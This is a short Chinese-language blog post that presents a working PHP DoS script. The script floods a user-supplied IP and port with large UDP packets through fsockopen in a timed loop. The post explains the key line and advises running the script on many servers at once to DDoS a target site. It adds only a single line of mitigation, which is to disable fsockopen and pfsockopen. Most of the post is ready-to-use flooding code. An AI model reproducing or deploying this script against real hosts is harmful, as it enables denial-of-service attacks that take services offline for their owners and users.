用Fsockopen函数做PHPddos

2012年2月8日 | 标签: ,

PHPdos的利用代码

<?php
//=================================================
//PHPDOSv1.8(PossiblyStrongerFloodStrength)
//CodedbyEXE
//=================================================

$packets=0;
$ip=$_POST['ip'];
$rand=$_POST['port'];
$exec_time=$_POST['time'];
set_time_limit(0);
ignore_user_abort(FALSE);
$time=time();
print”Flooded:$iponport$rand<br><br>”;
$max_time=$time+$exec_time;

for($i=0;$i<65535;$i++){
$out.=”X”;
}
while(1){
$packets++;
if(time()>$max_time){
break;
}

$fp=fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo"Packetcompleteat".time('h:i:s')."with$packets(".round(($packets*65)/1024,2)."mB)packetsaveraging".round($packets/$exec_time,2)."packets/sn";
?>

关键代码在于 $fp = fsockopen(“udp://$ip”, $rand, $errno, $errstr, 5);
方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力。
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用。
如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛。

如何应对?
首先常见的就是禁用fsockopen以及pfsockopen函数

目前还没有任何评论.